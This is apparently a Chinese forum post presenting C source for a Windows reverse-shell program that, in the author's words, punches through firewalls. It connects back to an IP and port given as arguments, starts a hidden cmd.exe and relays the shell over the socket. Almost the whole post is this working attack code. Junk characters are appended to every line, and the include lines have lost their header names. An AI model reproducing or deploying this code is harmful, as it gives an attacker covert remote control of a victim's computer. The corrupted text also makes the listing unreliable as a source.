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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Rnoz[1y?0  
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/* ============================== S~ Z<-@S  
Rebound port in Windows NT )/vom6y*   
By wind,2006/7 !h4A7KBYG  
===============================*/ ,Jh#$mil  
#include I]i( B+D  
#include 7y3WV95Z\  
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#pragma comment(lib,"wsock32.lib") LGW:+c  
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void OutputShell(); /V{UTMSz  
SOCKET sClient; >e& L"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 71%$&6  
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void main(int argc,char **argv) Y#Q!mbp  
{ -b{<VrZ  
WSADATA stWsaData; cD6^7QF  
int nRet; W7'<Jom|?  
SOCKADDR_IN stSaiClient,stSaiServer; ']>9 /r#  
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if(argc != 3) pDYJLh-C  
{ [U",yN]d  
printf("Useage:\n\rRebound DestIP DestPort\n"); NN2mOJ:-  
return; W6}>iB  
} q^<HG]  
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WSAStartup(MAKEWORD(2,2),&stWsaData); {J izCUo_'  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qEXN} Pq<  
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stSaiClient.sin_family = AF_INET; M_Ag *?2I  
stSaiClient.sin_port = htons(0); PuREqa\_[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [520!JhZY  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $/C1s"C@O  
{ yU&;\'  
printf("Bind Socket Failed!\n"); ~v;+-*t  
return; +B1&bOb  
} d4BzFGsW  
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stSaiServer.sin_family = AF_INET; P{UV3ZA%  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ZIa,pON  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); MTCfs~}m  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z`t~N  
{ NJ.oME@=  
printf("Connect Error!"); >h\u[I$7  
return; Lo_+W1+  
} fn,hP_  
OutputShell(); C 'MR=/sd  
} 'nGUm[vh  
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void OutputShell() -$o0P'Vx  
{ 5v)bs\x6  
char szBuff[1024]; o ?vGI=  
SECURITY_ATTRIBUTES stSecurityAttributes; Q17dcgd  
OSVERSIONINFO stOsversionInfo;  |@'O3KA  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /P@%{y  
STARTUPINFO stStartupInfo; cZ?$_;=  
char *szShell; 3k9n*jY0  
PROCESS_INFORMATION stProcessInformation; L55 UeP\  
unsigned long lBytesRead; rkR5>S( 2M  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qjhV/fsfb  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); '7el`Ff  
stSecurityAttributes.lpSecurityDescriptor = 0; jw=PeT|  
stSecurityAttributes.bInheritHandle = TRUE; GnW MI1$  
"}qs +  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ltgtD k  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J??AU0 vh  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hI!BX};+}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eNK +)<PK(  
stStartupInfo.wShowWindow = SW_HIDE; .>F4s_6l  
stStartupInfo.hStdInput = hReadPipe; \ m~?yq8H  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Zf@B< m  
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GetVersionEx(&stOsversionInfo); }|=/v( D  
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switch(stOsversionInfo.dwPlatformId) lJ-PW\P  
{ XP?jsBE  
case 1: QcQ%A%VIV  
szShell = "command.com"; |A 'I!Jm  
break; kJ FWk  
default: /9G72AD!  
szShell = "cmd.exe"; B??07j  
break; j8&NscK)  
} $N)G:=M!s  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \OVtvJV]  
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send(sClient,szMsg,77,0); d6QrB"J`  
while(1) 9m$;C'}Z  
{ <Pt?N2]A|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z)W8Of_  
if(lBytesRead) (8h4\utA  
{ c]ARgrH-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F =e9o*z  
send(sClient,szBuff,lBytesRead,0); 1]2]l*&3  
} /VT/KT{  
else ~\CS%thX  
{ N~O3KG q  
lBytesRead=recv(sClient,szBuff,1024,0); dn- [Gnde  
if(lBytesRead<=0) break; !B%em%Tv  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2r!ltG3}  
} Om0$6O  
} zW%Em81Wd  
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return; Yn }Gj'  
}
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